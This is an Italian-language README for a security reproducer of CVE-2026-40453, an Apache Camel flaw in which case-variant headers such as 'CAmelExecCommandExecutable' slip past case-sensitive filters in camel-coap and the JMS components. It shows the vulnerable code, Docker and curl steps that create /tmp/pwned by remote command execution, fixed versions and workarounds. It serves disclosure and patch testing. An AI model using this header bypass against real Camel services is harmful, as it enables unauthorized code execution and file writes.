
Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)
Questo progetto dimostra CVE-2026-40453 — una correzione incompleta per CVE-2025-27636. La correzione del 2025
ha aggiunto setLowerCase(true) a HttpHeaderFilterStrategy in modo che i nomi di intestazione con variazione di maiuscole/minuscole (es.
CAmelExecCommandExecutable) vengano filtrati insieme al canonico CamelExecCommandExecutable. La
stessa chiamata non è stata applicata a cinque implementazioni di HeaderFilterStrategy non-HTTP
(camel-jms, camel-sjms, camel-coap, camel-google-pubsub), che filtrano in modo case-sensitive mentre
la Camel Exchange memorizza le intestazioni in una mappa case-insensitive. Un attaccante può quindi iniettare un'intestazione di controllo Camel* con variazione di maiuscole/minuscole che elude il filtro ma viene comunque risolta dai componenti downstream (camel-exec, camel-file, ...) con il suo nome canonico → esecuzione remota di codice / scrittura arbitraria di file.
Questo riproduttore dimostra l'elusione con camel-coap (autonomo, nessun broker esterno); la stessa falla interessa le strategie JMS/SJMS/Google-Pubsub.
Avviso: https://camel.apache.org/security/CVE-2026-40453.html
CoAPHeaderFilterStrategy (versione affetta) filtra Camel* in modo case-sensitive:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
Quando arriva una richiesta CoAP, CamelCoapResource.handleRequest() mappa ogni parametro URI-query nelle intestazioni In della Exchange, controllato da strategy.applyFilterToExternalHeaders(name, value, exchange):
CamelExecCommandExecutable — startsWith("Camel") è true → filtrato.CAmelExecCommandExecutable — startsWith("Camel") è false (CAm ≠ Cam) → non filtrato.La mappa delle intestazioni Exchange è case-insensitive, quindi l'intestazione con variazione di maiuscole/minuscole viene successivamente risolta dal produttore exec con il suo nome canonico CamelExecCommandExecutable, sovrascrivendo il comando.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
Aggiornare a 4.14.6 / 4.18.2 / 4.20.0. La correzione (CAMEL-23313) aggiunge setLowerCase(true) alle cinque
implementazioni di HeaderFilterStrategy non-HTTP in modo che anche i nomi Camel* con variazione di maiuscole/minuscole vengano filtrati.
Fino all'aggiornamento:
HeaderFilterStrategy personalizzato con setLowerCase(true), oppure removeHeaders con un pattern case-insensitive.CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # vittima: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtrato), /attack (bypass con variazione maiuscole/minuscole)
└── resources/
└── application.properties
Questo riproduttore è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.
| Proprietà | Valore |
|---|
| Componenti | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (questo PoC usa camel-coap) |
| Classi Affette | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| Causa principale | Filtraggio case-sensitive con startsWith("Camel"/"camel") (manca setLowerCase(true)) rispetto a una mappa di intestazioni Exchange case-insensitive |
| CWE | CWE-20 (Convalida Input Impropria) — iniezione di intestazioni di messaggio |
| Impatto | RCE / scrittura arbitraria di file tramite produttori guidati da intestazioni |
| Versioni Affette | Da 3.0.0 prima di 4.14.6, da 4.15.0 prima di 4.18.2, da 4.19.0 prima di 4.20.0 |
| Versioni Corrette | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (completa la correzione per CVE-2025-27636) |
| Segnalato da | Saroj Khadka |